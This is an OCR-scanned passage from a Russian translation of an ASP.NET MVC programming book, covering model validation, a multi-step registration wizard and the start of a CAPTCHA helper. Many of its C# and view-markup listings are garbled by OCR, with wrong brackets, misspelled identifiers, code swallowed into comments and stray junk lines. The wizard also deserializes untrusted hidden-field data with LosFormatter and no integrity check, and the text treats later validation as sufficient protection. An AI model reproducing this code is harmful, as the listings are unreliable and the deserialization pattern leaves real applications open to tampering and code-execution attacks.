Чтобы избежать жесткого кодирования сообщений об ошибках в коде предметной области, в класс RuleException можно добавить возможность хранения списка ссылок на элементы в файле RESX, которая позволит методу CopyToModelState () извлекать сообщения об ошибках во время выполнения. Это добавит поддержку локализации и обеспечит улучшенную конфигурируемость. О локализации речь пойдет в главе 15.
Теперь можно упростить метод действия MakeBooking () контроллера Bookinc Controller следующим образом:
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult MakeBooking(Appointment appt, bool acceptsTerms) {
if ([acceptsTerms)
ModelState.AddModelError("acceptsTerms", "You must accept the terms"); if (Modelstate.IsValid) { try {
appt.Save();
}
catch (RuleException ex) { ex.CopyToModelState{Modelstate, "appt"); }
} return ModelState.IsValid ? View("Completed”, appt) : View(); }
Глава 11. Ввод данных 383
Если бизнес-правила требуют, чтобы для каждой записи на прием было предусмотрено согласие с условиями записи, в классе Appointment имеет смысл создать свойство AcceptsTerms типа bool и проверять его внутри метода GetRuleViolations (). Это зависит от того, к чему относится данное правило: к модели предметной области или к особенностям конкретного пользовательского интерфейса.
Реализация сложных правил
Следуя описанному шаблону, произвольные правила легко выразить в простом коде С#. При этом не понадобится изучать какой-то специальный API-интерфейс либо ограничиваться проверкой определенных шаблонов форматирования или выполнением определенных сравнений свойств. Правила могут даже зависеть от других данных (таких как уровень запасов) или от ролей, к которым принадлежит текущий пользователь. Генерация исключения, когда необходимо прервать операцию, является всего лишь особенностью базового объектно-ориентированного программирования.
Исключения являются идеальным механизмом для выполнения этой работы, потому что их невозможно игнорировать, и они могут содержать описание причин отказа операции. Контроллерам не нужно заранее сообщать, каких ошибок следует ожидать, или даже в каком месте может быть сгенерировано исключение RuleException. До тех пор, пока это случается в пределах блока try. . . catch, информация об ошибке автоматически “всплывет” на уровень пользовательского интерфейса без каких-либо дополнительных усилий со стороны разработчика.
Предположим, что к примеру записи на прием добавлено новое бизнес-требование: допускается только по одной записи на прием в день. Надежный способ обеспечить это состоит в наложении в базе данных ограничения UNIQUE на столбец, соответствующий свойству AppointmentDate класса Appointment. То, как именно это делается, зависит от используемой платформы базы данных. После наложения упомянутого ограничения любая попытка отправки конфликтующую запись на прием вызовет исключение SqlException.
Обновите метод Save () класса Appointment, чтобы он транслировал исключение SqlException в RuleException, как показано ниже:
public void Saved
{
var errors = GetRuleViolations();
if (errors.Count > 0)
throw new RuleException(errors) ;
try {
// Todo: действительно сохранить в базе данных
} catch(SqlException ex) {
if (ex.Message.Contains ("IX_DATE_UNIQUE")) // Имя ограничения в базе данных throw new RuleException("AppointmentDate", "Sorry, already booked") ;
// Запись для этой даты уже существует throw; // Повторно сгенерировать любые другие исключения,
// чтобы избежать вмешательства в них
}
}
Ключевое преимущество проверки достоверности на основе модели заключается в том, что изменение или добавление бизнес-правил осуществляется без затрагивания контроллеров и представлений. Новые правила автоматически распространяются на уровень связанного с ними пользовательского интерфейса без дополнительных усилий (рис. 11.5).
384 Часть II. ASP.NET MVC во всех деталях
Рис. 11.5. Распространение ошибки от модели на уровень пользовательского интерфейса
Проверка достоверности клиентской стороны (JavaScript)
Существует один очень важный аспект проверки достоверности, который до сих пор игнорировался. В веб-приложениях большинство пользователей ожидают немедленного отклика по результатам проверки достоверности, т.е. до отправки чего-либо на сервер. Это называется проверкой достоверности клиентской стороны и обычно реализуется с применением кода JavaScript. Простая проверка достоверности на стороне сервера надежна. но не слишком удобна для пользователей, если только не подкреплена проверкой достоверности клиентской стороны.
В ASP.NET MVC 1.0 нет какой-либо встроенной поддержки проверки достоверности клиентской стороны. Причина в том, что существует масса инструментов для такой проверки достоверности от независимых разработчиков (включая инструменты с открытым исходным кодом, которые интегрированы с jQuery), и они согласованы с идеологией ASP.NET MVC, что позволяет легко воспользоваться любым из них. По мере выработки шаблонов использования, возможно, команда разработчиков из Microsoft либо добавит собственные вспомогательные средства проверки достоверности клиентской стороны в будущую версию ASP.NET MVC. либо предложит руководства и технологию для облегчения интеграции сторонних библиотек, предназначенных для проверки достоверности клиентской стороны.
Однако пока основным путем реализации проверки достоверности на стороне клиента в ASP.NET MVC остается применение гсакой-нибудь библиотеки JavaScript от незави симых поставщиков с ручной репликацией выбранных правил проверки достоверности в шаблоны представлений. В следующей главе будет показан пример применения для этих целей библиотеки jQuery. Основной недостаток этого подхода связан с дублированием логики. В идеале следовало бы найти какой-нибудь способ генерирования логики проверки достоверности клиентской стороны непосредственно из правил, изложенных в коде модели, однако в общем случае отображение кода C# на код JavaScript невозможно. Существует ли решение этой проблемы? Разумеется!
Генерация кода проверки достоверности клиентской стороны из атрибутов модели
В .NET доступно множество сред проверки достоверности серверной стороны, которые позволяют выражать правила декларативно, с использованием атрибутов. В их число входят NHlbernate.Validator и Castle Validation. Можно даже воспользоваться сборкой System. ComponentModel.DataAnnotations . dll от Microsoft (включенной в .NET 3.5) для аннотирования класса Booking, как показано ниже:
Глава 11. Ввод данных 385
public class Appointment
{
[Required] [StringLength(50)]
public string ClientName { get; set; }
[Required] [DataType(DataType.Date)]
public DateTime AppointmentDate { get; set; }
}
Вместе с небольшой дополнительной инфраструктурой, которая называется средством выполнения проверки достоверности, эти атрибуты можно использовать как определение некоторых правил проверки достоверности на стороне сервера. Более того, непосредственно из этих правил можно сгенерировать конфигурацию проверки достоверности клиентской стороны и привязать ее к существующему инструменту проверки достоверности на стороне клиента. После этого проверка достоверности на клиентской стороне просто выполняется и автоматически остается синхронизированной с правилами серверной стороны.
Как пояснялось ранее, дополнительные бизнес-правила произвольной сложности по-прежнему можгут быть реализованы с помощью простого кода С#. Эти правила будут применяться только на стороне сервера, потому что не существует общего способа отобразить эту логику непосредственно на код JavaScript. Простые правила форматирования свойств, выраженные декларативно (т.е. большинство правил), могут быть автоматически продублированы правилами клиентской стороны, тогда как сложная произвольная логика останется исключительно на сервере.
Быстрое подключение xVal
Если описанный выше подход к проектированию вызвал интерес, стоит ознакомиться со средой xVal (http: //xval. codeplex. com/). Это свободно доступный проект с открытым исходным кодом, который добавляет проверку достоверности клиентской стороны к ASP.NET MVC. Среда xVal позволяет комбинировать выбранные механизмы проверки достоверности серверной и клиентской стороны, обнаруживать декларативные правила проверки достоверности и преобразовывать их в код JavaScript на лету. В настоящее время xVal можно использовать со сборкой System. ComponentModel. DataAnnotations . dll, средами Castle Validation, Nhibemate.Validator, jQuery Validation и встроенными средствами проверки достоверности ASP.NET WebForms. Для поддержки дополнительных сред можно написать собственные подключаемые модули.
Мастера и многошаговые формы
На многих веб-сайтах реализован пользовательский интерфейс в стиле мастеров, которые позволяют провести посетителя по многошаговому процессу, подтверждаемому в самом конце. Мастера следую !' принципу последовательного раскрытия (progressive disclosure), при котором пользователи не перегружаются десятками вопросов, часть из которых может не иметь для них значения. Вместо этого на каждой стадии предлагается ответить лишь на небольшой набор вопросов. В зависимости от выбора, сделанного пользователем, может существовать несколько путей прохождения мастера, и пользователю всегда предоставляется возможность вернуться и изменить ответы, данные на вопросы. На последней стадии обычно выводится типичный экран подтверждения, позволяющий пользователю проверить и подтвердить сделанный выбор.
В ASP.NET MVC доступно практически неограниченное количество способов реализации таких пользовательских интерфейсов. Ниже показан лишь один пример построения четырехшагового мастера регистрации, работа которого описана рабочим потоком на рис. 11.6.
386 Часть II. ASP.NET MVC во всех деталях
Рис. 11.6. Рабочий поток для примера четырехшагового мастера
Навигация по множеству шагов
Начнем с создания начального класса контроллера Registrationcontroller с первыми двумя шагами:
public class Registrationcontroller : Controller {
public ActionResult BasicDetails()
{
return View () ;
)
public ActionResult ExtraDetails ()
{ return View();
)
)
Теперь создайте начальное представление для действия BasicDetails (), щелкнув правой кнопкой мыши внутри метода BasicDetails () и выбрав в контекстном меню пункт Add View (Добавить представление). Для нового представления можно оставить имя по умолчанию — BasicDetails. Оно не должно быть строго типизированным. Содержимое представления приведено ниже:
<h2>Registration: Basic details</h2>
Please enter your details
<% using(Html.BeginForm ()) { %>
<%= Html.Validationsummary() %>
<p>Name: <%= Html.TextBox("Name")%></p>
<p>E-mail: <%= Html.TextBox("Email")%></p>
<pxinput type="submit" name="nextButton" value="Next >" /></p>
ZQ. 1
\'o j "o-^
Результат проделанной работы можно сразу же проверить в браузере, зайдя на URL /Registration/BasicDetails (рис. 11.7).
Как видите, произошло не слишком много. Щелчок на кнопке Next (Далее) приводит к отображению того же самого экрана, а не к переходу на следующий шаг. И это вполне естественно, поскольку логика, которая бы обеспечила перемещение на следующий шаг, пока еще не реализована.
Глава 11. Ввод данных 387
Рис. 11.7. Первый шаг мастера
Давайте добавим ее:
public class Registrationcontroller : Controller {
public ActionResult BasicDetails(string nextButton) {
if (nextButton != null)
return RedirectToAction("ExtraDetails");
return View();
}
public ActionResult ExtraDetails(string backButton, string nextButton) {
if (backButton != null)
return RedirectToAction("BasicDetails");
else if (nextButton != null)
return RedirectToAction("Confirm");
else
return View();
)
}
Что здесь происходит? Вы заметили, что в шаблоне представления BasicDetails. aspx в вызове Html .BeginForm () не указано целевое действие? Это заставит форму отправить данные по тому же URL, по которому она была сгенерирована (т.е. тому же методу действия).
Вдобавок, после щелчка на кнопке отправки браузер посылает пару “ключ/значение” Request. Form, соответствующую имени этой кнопки. Таким образом, методы действий могут определить, на какой кнопке был совершен щелчок (если был), привязывая параметр string к имени кнопки и проверяя входное значение на предмет равенства null (неравенство null означает, что на кнопке был совершен щелчок).
И, наконец, добавьте аналогичное представление для действия ExtraDetails в файл с представлениями по умолчанию /Views/Registration/ExtraDetails .aspx:
<h2>Registration: Extra details</h2>
Just a bit more info please.
<% using(Html.BeginForm()) { %>
<%= Html.ValidationSummary() %>
<p>Age: <%= Html.TextBox("Age")%></p>
<P>
Hobbies:
<%= Html.TextArea("Hobbies", null, 3, 20, null) %>
</p>
388 Часть II. ASP.NET MVC во всех деталях
<Р>
<input type="submit" name="backButton" value="< Back" />
<input type="submit" name="nextButton" value="Next >" />
</p>
1 С-Ч.
В результате был создан вполне работоспособный механизм навигации, как показано на рис. 11.8.
Рис. 11.8. Мастер позволяет перемещаться вперед и назад по экранам
Тем не менее, при текущем состоянии дел все данные, введенные в полях формы, просто игнорируются и немедленно теряются.
Сбор и сохранение данных
Механизм навигации — это самая простая часть задачи. Пэраздо сложнее организовать сбор и сохранение значений полей формы, даже когда они не отображаются на текущем шаге мастера. Начнем с определения класса модели данных RegistrationData, который можно поместить в папку /Model:
[Serializable]
public class RegistrationData {
public string Name { get; set; }
public string Email { get; set; }
public int? Age { get; set; }
public string Hobbies { get; set; } }
Новый экземпляр класса RegistrationData будет создаваться каждый раз, когда пользователь входит в мастер. Поля этого экземпляра заполняются данными, введенными на любом шаге, что позволяет сохранять их между запросами и в конце каким-то образом зафиксировать (например, поместить в базу данных или использовать для генерации новой записи пользователя). Класс RegistrationData помечен атрибутом [Serializable], потому что он будет сохраняться между запросами за счет сериализации в скрытое поле формы.
Глава 11. Ввод данных 389
На заметку! Этот способ отличается от обычного для ASP.NET MVC сохранения состояния, когда ранее введенные значения извлекаются из Modelstate. Техника с Modelstate не подходит для многошагового мастера, поскольку тот теряет содержимое всех элементов управления, которые не отображаются на текущем шаге. Вместо Modelstate в рассматриваемом примере применяется подход, больше похожий на реализованное в ASP.NET WebForms сохранение данных формы путем их сериализации в скрытое поле. Если вы не знакомы с этим механизмом или с сериализацией в целом, прочтите врезку “Механизм ViewState и сериализация” далее в этой главе, где объясняется как механизм, так и связанные с ним сложности.
Чтобы создать и сохранить объект RegistrationData между запросами, модифицируйте Registrationcontroller следующим образом:
public class Registrationcontroller : Controller
{
public RegistrationData regData;
protected override void OnActionExecuting(ActionExecutingContext filtercontext) {
regData = (SerializationUtils.Deserialize(Request.Form["regData"])
?? TempData["regData"]
?? new RegistrationData()) as RegistrationData; TryUpdateModel(regData);
}
protected override void OnResultExecuted(ResultExecutedContext filterContext) (
if (filterContext.Result is RedirectToRouteResult) TempData["regData"] = regData;
}
// ... остальной код не изменяется
}
Как видите, добавилось довольно много кода. Ниже даны соответствующие пояснения.
•	Перед каждым запуском метода действия в методе OnActionExecuting () предпринимается попытка получить существующее значение для regData. Сначала он пытается десериализовать значение из коллекции Request. Form. Если это не удается, он ищет значение в TempData. Если оно не обнаруживается и там, создается новый экземпляр. И, наконец, явным образом вызывается привязка модели для копирования любых отправленных значений полей формы в regData.
•	После выполнения каждого метода действия в методе OnResultExecuted () проверяется результат, чтобы выяснить, не выполняет ли он перенаправление it другому методу действия. Если перенаправление имеет место, то единственный способ сохранения данных regData состоит в их помещении в TempData. Это метод и делает, чтобы OnResultExecuting () мог извлечь оттуда данные в следующий раз.
Совет. Если подобного рода мастера приходится разрабатывать часто, можно инкапсулировать предыдущую логику в собственный обобщенный базовый класс контроллера wizardController<T>, где <т> специфицирует тип сохраняемого объекта данных. В таком случае класс Registrationcontroller лучше унаследовать не от Controller, а от WizardController<RegistrationData>.
Также обратите внимание, что в коде имеется ссылка на SerializationUtils. Это всего лишь небольшой вспомогательный класс, который несколько упрощает взаимодействие с API-интерфейсом сериализации .NET. Код этого класса может поместить в любое место проекта:
390 Часть II. ASP.NET MVC во всех деталях
public static class Serializationutils {
public static string Serialize(object obj)
{
// Примечание: obj должен быть помечен как [Serializable]
// или реализовать ISerializable
Stringwriter writer = new Stringwriter();
new LosFormatter().Serialize(writer, ob j) ;
return writer.ToString();
}
public static object Deserialize(string data) (
if (data == null) return null;
return (new LosFormatter()).Deserialize(data);
)
}
До сих пор никакие данные для отображения представлений в ViewData.Model не передавались, а зто значит, что поля формы каждый раз сначала будут пустыми. Это легко исправить: измените методы действий BasicDetails () и ExtraDetails () таким образом, чтобы при вызове view () для визуализации представления они передавали regData как строго типизированный объект модели. Ниже показано, как следует модифицировать BasicDetails():
public ActionResult BasicDetails(string nextButton)
I
if (nextButton != null)
return RedirectToAction("ExtraDetails");
return View(regData);
}
Измените метод ExtraDetails () так, чтобы он каким-то образом применял regData к своему представлению. После этого все поля форм в обоих представлениях будут автоматически заполнены с использованием значений свойств из regData.
И, наконец, чтобы избежать потери содержимого объекта модели в конце каждого запроса, сериализуйте его содержимое в скрытое поле формы по имени regData (метод OnActionExecuting (), который знает, как восстанавливать значение из этого поля, уже реализован). Обновите оба шаблона представлений (BasicDetails. aspx и ExtraDetails . aspx), добавив новое скрытое поле:
<%@ Import Namespace="npoc2paHCTBO имен, в которое был помещен класс SerializationUtils" %>
<!— Оставить без изменений —>
<% using(Html.BeginForm ()) { %>
<%= Html.Hidden)"regData", SerializationUtils.Serialize(Model)) %>
<!— Оставить без изменений —>
Вот и все! Теперь любые вводимые данные будут сохранены во время навигации вперед и назад по страницам мастера. Этот код достаточно обобщен для того, чтобы после добавления в RegistrationData новых полей, они также автоматически сохранялись.
Завершение мастера
В заключение примера понадобится добавить методы действий для шагов подтверждения (Confirm ()) и завершения (Complete ()):
Глава 11. Ввод данных 391
public class Registrationcontroller : Controller
{
// Остальной код не изменять
public ActionResult Confirm(string backButton, string nextButton) {
if (backButton != null)
return RedirectToAction("ExtraDetails");
else if (nextButton != null)
return RedirectToAction("Complete"); else
return View(regData);
}
public ActionResult Complete()
{
// Todo: сохранить regData в базе данных и визуализировать
// завершающее представление return Content("OK, we're done");
)
)
Затем добавьте представление для действия Confirm в /Views/Registration/ Conf irm. aspx, которое содержит приведенный ниже код. Для удобства выбрано строго типизированное представление с типом модели RegistrationData. (В качестве альтернативы Model.Name, например, можно заменить ViewData.Eval ("Name").)
<h2>Confirm</h2>
Please confirm that your details are correct.
<% using(Html.BeginForm()) { %>
<%= Html.Hidden("regdata", SerializationUtils.Serialize(Model)) %>
<div>Name: <b><%= Html.Encode(Model.Name) %X/bX/div>
<div>E-mail: <b><%= Html.Encode(Model.Email)%></b></div>
<div>Age: <bx%= Model .Age %X/bX/div>
<div>Hobbies : <b><%= Html. Encode (Model .Hobbies) %X/bX/div>
<P>
<input type="submit" name="backButton" value="< Back" />
<input type="submit" name="nextButton" value="Next >" />
</p>
<% } %>
Чтобы код заработал, потребуется добавить объявление <% Import %> для пространства имен, содержащего класс SerializationUtils, как зто делалось в BasicDetails . aspx и ExtraDetails . aspx. И на этом работа завершена: создан мастер, который позволяет выполнять навигацию вперед и назад, сохраняя при этом данные, введенные в полях, имеет экран подтверждения и довольно простой финальный экран (рис. 11.9).
Проверка достоверности
Вы наверняка заметили, что в рассмотренном примере не было предусмотрено никакой проверки достоверности вводимых данных. Чтобы добавить ее, можно воспользоваться любым описанным ранее способом. В целях демонстрации определим правила, добавив в класс RegistrationData реализацию интерфейса IDataErrorlnfo:
[Serializable]
public class RegistrationData : IDataErrorlnfo
1
/* Оставить свойства без изменений */
392 Часть II. ASP.NET MVC во всех деталях
public string this[string columnName] { get {
if ((columnName == "Name") && string.IsNullOrEmpty(Name)) return "Please enter a name"; // Необходимо ввести имя
if ((columnName == "Email") && !IsValidEmailAddress(Email)) return "Please enter a valid email address";
/ / Необходимо ввести правильный адрес электронной почты
if ((columnName == "Age") && 'Age. Has Value) return "Please enter a numeric age";
// Необходимо ввести возраст в виде числа return null;
} }
public string Error { get ( return null; } } //He требуется
}
Теперь необходимо, чтобы на каждом шаге мастера пользователю нельзя было двигаться дальше, если привязка модели сообщила о проблемах.

Registration: Basic details
Registration: Extra details
FaR:
Hobbies:


:Ost5/z8S/Registration/C^^ EL'
http:.. -Toc31hcsfc57208;Regi ’; j
O.K; weie done
Confirm
Name: Steve
Е-maik steve@exaznple.com
Age: 948
Рис. 11.9. Готовый мастер в действии
Глава 11. Ввод данных 393
Измените методы BasicDetails () и ExtraDetails () следующим образом:
public ActionResult BasicDetails(string nextButton) {
if ((nextButton != null) && Modelstate.IsValid) { return RedirectToAction("ExtraDetails");
)
return View(regData);
)
public ActionResult ExtraDetails(string backButton, string nextButton)
{
if (backButton != null)
return RedirectToAction("BasicDetails");
else if ((nextButton != null) && Modelstate.IsValid)
return RedirectToAction("Confirm");
else
return View(regData);
)
Вот и все. Поскольку шаблоны представлений уже содержат вызов Html. Validation Summary (), любые обнаруженные ошибки будут отображены в маркированном списке (рис. 11.10).
Рис. 11.10. Ошибки проверки достоверности препятствуют переходу к следующему шагу мастера
На заметку! Когда пользователь завершает работу с мастером, обычно производится передача экземпляра RegistrationData на уровень модели, где могут выполниться такие операции, как сохранение его в базе данных. Несмотря на то что проверка достоверности осуществляется на каждом шаге мастера, все равно данные должны быть проверены еще раз в коде модели предметной области, иначе есть риск принять неверные данные. Вполне возможно, что пользователь, которому известен URL действия Confirm, начнет выполнение мастера прямо с этой точки, минуя все предыдущие шаги. Для надежности применяйте проверку достоверности на уровне модели перед фиксацией данных или завершением операции.
394 Часть II. ASP.NET MVC во всех деталях
Механизм ViewState и сериализация
В некотором смысле показанный на рис. 11.6 рабочий поток проще построить на платформе ASP.NET WebForms, потому что ее механизм ViewState автоматизирует функциональность представления данных, которую пришлось строить вручную3.
Если вдруг вы не знакомы с WebForms, то знайте, что ViewState — это коллекция, в которую можно помещать на хранение любой сериализуемый объект.
При визуализации формы ASP.NET WebForms сериализует содержимое этой коллекции и сохраняет его в скрытом поле по имени__VIEWSTATE. Позднее, когда браузер выполнит обратную
отправку формы, входящие значения_VIEWSTATE десериализуются и используются для авто-
матической реконструкции содержимого коллекции ViewState. Встроенные элементы управления WebForms автоматически используют ViewState для сохранения собственных значений, даже когда они не отображаются на экране. Этот механизм работает точно так же, как реализованный в предыдущем примере, за исключением того, что вместо применения подхода, ориентированного на элементы управления (хранение состояния индивидуальных элементов управления в скрытом поле), в примере используется подход, ориентированный на модель (сериализация и сохранение объекта RegistrationData).
Механизм ViewState в ASP.NET WebForms (и очень похожий на него механизм Controlstate) часто приводит к чрезмерному возрастанию размеров HTML-страниц (100 Кбайт закодированных с помощью Base64 данных мало кому понравятся), вызывает ошибки “ViewState is invalid” (недопустимый ViewState) и затрудняет работу по написанию специальных элементов управления, что обычно ведет к недовольству со стороны пользователей. Это, пожалуй, наиболее порицаемое средство платформы WebForms. Тем не менее, в качестве общего шаблона проектирования оно совершенно адекватно: веб-разработчики всегда сохраняли данные в скрытых полях форм, а зто средство переносит такой подход на следующий уровень формализации и абстракции. Проблема реализации WebForms в том, что механизм ViewState настолько сильно автоматизирован и интегрирован в платформу, что, помимо воли, получается сохранять слишком много объектов, даже тех, которые порождают чудовищные объемы данных при сериализации (например, DataTable). Хотя средство ViewState можете выборочно отключать для индивидуальных элементов управления многие элементы WebForms работают правильно только когда оно включено. Поэтому для решения этой главной проблемы приходится сохранять жесткий ручной контроль над сериализуемыми данными, как это было в предыдущем примере.
Огромным преимуществом сериализации данных состояния на стороне клиента является устойчивость: даже если пользователь оставит свой браузер открытым на всю ночь, он сможет продолжить процесс на следующий день (или на следующей неделе), не теряя данных и не потребляя памяти сервера. Однако существуют и ограничения.
•	Производительность. Сериализация может оказаться медленной. Хорошо, если нужно сериа-лизировать и десериализовать только несколько небольших объектов в каждом запросе, но при перемещении крупных объемов данных очень скоро производительность ощутимо снизится.
•	Сериализуемость. Обрабатываемый объект данных должен быть сериализуемым. Следовательно, все его поля также должны быть сериализуемыми. Это нормально для строк, целых чисел, булевских значений, но не очень хорошо для некоторых типов .NET или специальных объектов предметной области, которые не могут быть сериализуемыми до тех пор, пока не будет написан специальный код сериализации.
•	Пропускная способность и безопасность. Данные хранятся на стороне клиента. Поскольку они включаются в каждый запрос (полезная нагрузка POST) и в каждый ответ (скрытое поле формы), то даже несмотря на их кодирование по алгоритму Base64, ничто не помешает зло
3 Кроме того, в ASP.NET WebForms имеется встроенный элемент управления типа мастера (его описание даваться не будет; на то есть документация). Продемонстрированный здесь подход может послужить отправной точкой для построения собственных интерактивных рабочих потоков и поведения.
Глава 11. Ввод данных 395
умышленнику прочитать и подделать их. Проблему подделки можно решить за счет добавления кода НМАС (см. раздел “Служебный класс НМАС" далее в этой главе), что и делает механизм ViewState WebForms по умолчанию. Следует отметить, что проблема подделки не становится обязательной, если на финальной стадии перед фиксацией предусмотрена проверка достоверности данных.
Механизм ViewState удобен в качестве общего шаблона веб-разработки. Однако понадобится тщательно обдумать, что с его помощью необходимо сохранять.
На заметку! В качестве альтернативы сериализации экземпляров RegistrationData в скрытые поля формы их можно сохранять в коллекции Session [ ] посетителя. В этом случае проблемы снижения производительности или пропускной способности на стороне клиента возникать не будут; фактически объекты вообще не будут нуждаться в сериализации. Тем не менее, сохранение объектов RegistrationData в Session [ ] также имеет свои недостатки. Прежде всего, в коллекции Session [] нельзя использовать фиксированный ключ, иначе, когда посетитель откроет более одной вкладки в браузере, они начнут влиять друг на друга, и понадобится какой-то способ решения этой проблемы. К тому же, что более важно, коллекция Session [] является изменчивой — ее содержимое может быть удалено в любой момент для освобождения памяти сервера, — поэтому нужна система, которая изящно справится с утерей данных. Посетителям не понравится частая выдача сообщения “Sorry, your session has expired” (сеанс устарел). В конечном итоге хранение данных в Session [ ] может быть удобным, но не настолько устойчивым, как сериализация в скрытое поле формы.
Верификация
Интернет не может считаться безопасным местом, поскольку в нем водятся спамеры и прочие негодяи, которые так и ищут способы создать проблемы для веб-приложения. Однако чересчур тревожиться по этому поводу также не следует — за счет чуть более тщательного проектирования можно противостоять или предотвратить большинство злоупотреблений. Ниже описаны два известных приема, которые несложно реализовать с помощью ASP.NET MVC. (В главе 13 рассматриваются более серьезные угрозы, о которых следует знать любому разработчику веб-прпложений.)
Реализация компонента CAPTCHA
На многих веб-сайтах некоторые формы защищаются от отправки спама, требуя от посетителя ввести серию символов, отображенных в виде графической картинки, пример которой показан на рис. 11.11.
Рис. 11.11. Компонент CAPTCHA, который будет реализован в этой главе
396 Часть II. ASP.NET MVC во всех деталях
Идея здесь состоит в том, что человек сумеет прочитать такие символы, а компьютер — нет. В результате автоматические заполнения форм блокируются, а ввод человеком обрабатывается, но ценой небольшого неудобства. Это средство, называемое CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart — полностью автоматизированный открытый тест Тьюринга по распознаванию людей и машин; www.captcha.net/), в последние годы получило широкое распространение.
Внимание! Применение компонента CAPTCHA может вызвать проблемы доступности, к тому же его общая целесообразность весьма сомнительна. Современные технологии оптического распознавания символов (OCR) настолько хороши, что читают не хуже или даже лучше большинства людей, особенно если оптимизированы под определенный генератор изображений CAPTCHA. Если злоумышленники планируют получить выгоду от взлома установленного на сайте компонента CAPTCHA, то они наверняка достигнут в этом успеха, но если сайт не представляет для них особой ценности, то простого компонента CAPTCHA окажется достаточно, чтобы защититься от спама. Несмотря на ограничения CAPTCHA, веб-разработчики часто внедряют их и нередко спрашивают, как это делается. Именно поэтому настоящий пример был включен в книгу.
Далее будет показано, как построить компонент CAPTCHA. Он будет реализован в форме вспомогательного метода HTML по имени Html. Captcha (), который можно добавлять к любому шаблону представления для вывода изображения CAPTCHA. На той же странице представления также будет предусмотрено текстовое поле, где посетитель должен будет ввести свое решение относительно символов на изображении CAPTCHA. Когда посетитель отправит форму одному из методов действий, будет вызван статический метод CaptchaHelper .Ver if yAndExpi reSolution () для определения правильности введенного ответа.
Ниже представлено детальное описание работы будущего компонента CAPTCHA.
•	Метод Html .Captcha () сгенерирует некоторый случайный текст и сохранит его в коллекции Session [ ] посетителя под случайным ключом GUID (который называется GUID вызова (challenge GUID)). Затем он визуализирует скрытое поле формы, содержащее этот GUID. Кроме того, метод визуализирует дескриптор <img> со ссылкой на метод действия, генерирующий изображение, передав ему GUID вызова в качестве параметра строки запроса.
•	Метод действия, генерирующий изображение, использует переданный параметр GUID для извлечения текста решения из коллекции Session [ ] посетителя и визуализирует искаженное изображение этого текста. Поскольку метод действия запрошен через дескриптор <img>, изображение будет показано в браузере.
•	При последующем вызове методу CaptchaHelper.VerifyAndExpiresolution!) передается GUID вызова, извлеченный из скрытого поля данных входной формы, а также введенное пользователем решение. Метод CaptchaHelper .VerifyAnd ExpireSolution () извлечет текст решения из коллекции Session [ ] посетителя, сравнит его с введенным и вернет булевское значение, указывающее на соответствие. В то же время он удалит элемент с решением из коллекции Session []. чтобы предотвратить его повторное использование (это называется атакой повторением (reply attack)).
Создание вспомогательного метода HTML
Давайте начнем с построения вспомогательного метода HTML, который отобразит тест CAPTCHA. Создайте новый статический класс по имени CaptchaHelper в любом месте проекта веб-приложения (например, в папке /Helpers) и поместите в него при
Глава 11. Ввод данных 397
веденный ниже код. Как было описано выше, он генерирует случайный текст решения вместе с GUID вызова и возвращает дескриптор <img>, а также скрытое поле формы.
public static class CaptchaHelper
{
internal const string SessionKeyPrefix = "__Captcha";
private const string ImgFormat = "<img src=\"{0}\" />";
public static string Captcha(this HtmlHelper html, string name) {
// Выбрать GUID для представления этого вызова
string challengeGuid = Guid.NewGuid().ToString ();
// Сгенерировать и сохранить произвольный текст решения
var session = html.ViewContext.HttpContext.Session;
session[SessionKeyPrefix + challengeGuid] = MakeRandomSolution() ;
// Визуализировать дескриптор <img> с искаженным текстом,
// плюс скрытое поле, содержащее GUID вызова
var urlHelper = new UrlHelper(html.ViewContext.Requestcontext);
string url = urlHelper.Action("Render", "Captchaimage", new{challengeGuid));
return string.Format(ImgFormat, url) + html.Hidden(name, challengeGuid);
1
private static string MakeRandomSolution () {
Random rng = net; Random () ;
int length = rng.Next (5, 7);
char[] buf = new char[length] ;
for (int i = 0; i < length; i++)
buf[i] = (char) ('a' + rng.Next (2 6) ) ;
return new string(buf);
На заметку! Прежде чем можно будет вызывать html. Hidden (), потребуется добавить оператор using для пространства имен Sy stem. Web. Mvc. Html. Это пространство имен, в котором находится расширяющий метод.
Для использования этого вспомогательного метода создадим очень простую страницу регистрации пользователя. Она не будет на самом деле выполнять регистрацию, а понадобится только для того, чтобы можно было вызвать вспомогательный метод CAPTCHA. Ниже приведен простой класс контроллера по имени Registrationcontroller (он никак не связан с другими классами Registrationcontroller, встречающимися в книге):
public class Registrationcontroller : Controller
{
public ViewResult Index() {
return View () ;
}
public ActionResult SubmitRegistration () {
return Content("Извините, пока не реализовано.");
}
}
Очевидно, что для действия Index понадобится представление, поэтому добавьте новое представление, щелкнув правой кнопкой мыши внутри метода Index () и выбрав
398 Часть II. ASP.NET MVC во всех деталях
в контекстном меню пункт Add View (Добавить представление). Для данного примера представление не должно быть строго типизированным.
Поскольку Captcha () является расширяющим методом, доступ к нему можно получить только после импортирования его пространства имен. Для этого добавьте объявление <%@ Import %> в начало Index, aspx, прямо под объявлением <%@ Раде %>. Объявление должно выглядеть примерно так:
<%@ Import Namespace="YourApp.Helpers" %>
После этого можно внести некоторое содержимое в представление Index. aspx:
<h2>Registration</h2>
<% using(Html.BeginForm("SubmitRegistration", "Registration")) { %> Please register. It's worth it.
<i>To do: Ask for account details (name, address, pet's name, Gmail password, etc.)</i>
<h3>Verification</h3>
<p>Please enter the letters displayed below.</p>
<%= Html.Captcha("myCaptcha") %>
<div>Verification letters: <%= Html.TextBox("attempt") %></div>
<p><input type=”submit" value="Submit registration” /></p>
Если теперь запустить метод действия Index контроллера Registrationcontroller, посетив URL /Registration, он визуализирует страницу, показанную на рис. 11.12.
Рис. 11.12. Экран регистрации на данном этапе разработки
Почему же на месте изображения CAPTCHA мы видим пиктограмму отсутствующего изображения? Если вы просмотрите исходный HTML-код (для этого в Internet Explorer нажмите и отпустите клавишу <Alt> и выберите пункт меню Вид1^Просмотр HTML-кода), то увидите, что метод Html. Captcha () сгенерировал следующий код разметки:
<img src="/CaptchaImage/Render?challengeGuid=d205c872-83e... и т.д." /> <input type="hidden" name="myCaptcha" id="myCaptcha" value="d205c872-83e. . . и т. д. " / >
В коде предпринимается попытка загрузить изображение из /Captchaimage/ Render, но пока еще нет контроллера CaptchalmageController, поэтому и выводится пиктограмма отсутствующего изображения.
Глава 11. Ввод данных 399
Визуализация динамического изображения
